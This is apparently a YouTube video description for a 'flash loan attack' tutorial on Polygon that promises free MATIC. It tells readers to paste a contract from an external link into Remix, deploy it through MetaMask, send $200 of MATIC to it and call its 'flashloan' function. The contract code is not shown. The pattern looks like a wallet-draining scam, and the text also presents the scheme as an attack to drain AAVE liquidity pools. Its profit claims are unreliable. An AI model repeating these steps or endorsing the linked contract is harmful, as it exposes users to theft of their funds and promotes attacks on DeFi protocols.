Polygon - MATIC

POLYGON MATIC Flash Loan Attack Explain | Free 1700 MATIC ($1,800) Crypto Arbitrage Tutorial 2022

YouTube video


Smart Contract Code Link – https://raw.githubusercontent.com/MF-Finance/contracts/main/MaticPolygonArbitrageContract.sol

Remix Link – http://remix.ethereum.org/

Connecting MetaMask to Polygon Mainnet (Matic) – https://medium.com/stakingbits/setting-up-metamask-for-polygon-matic-network-838058f6d844

Flash Loan Explanation – https://academy.binance.com/en/articles/what-are-flash-loans-in-defi

USD to MATIC – https://coincodex.com/convert/matic-network/usd/

TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE

In this video, you can see how I used Flashloans to Arbitrage in Matic Mainnet by deploying Contract/Token to mask our arbitrage attack against AAVE.

*** Working! (Updated on November 17, 2022)

STEPS:

Before starting, install and setup MetaMask in Chrome Browser.

1. Open and setup Remix in browser –https://remix.ethereum.org

2. Copy the Contract code – https://raw.githubusercontent.com/MF-Finance/contracts/main/MaticPolygonArbitrageContract.sol

3. Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.0+commit version and hit Compile.

4. In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
* If “Estimated gas fee” shows “Unknown processing time” message, you need to increase the fee:
Click “EDIT” ➡ click “Edit suggested gas fee” ➡ click “High” and click “Save”.

5. Get the Contract address from Remix

6. Send $200 of MATIC to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
* If a warning is displayed, click “I understand”.

7. Call ‘flashloan’ function in Remix.

Thanks for watching!

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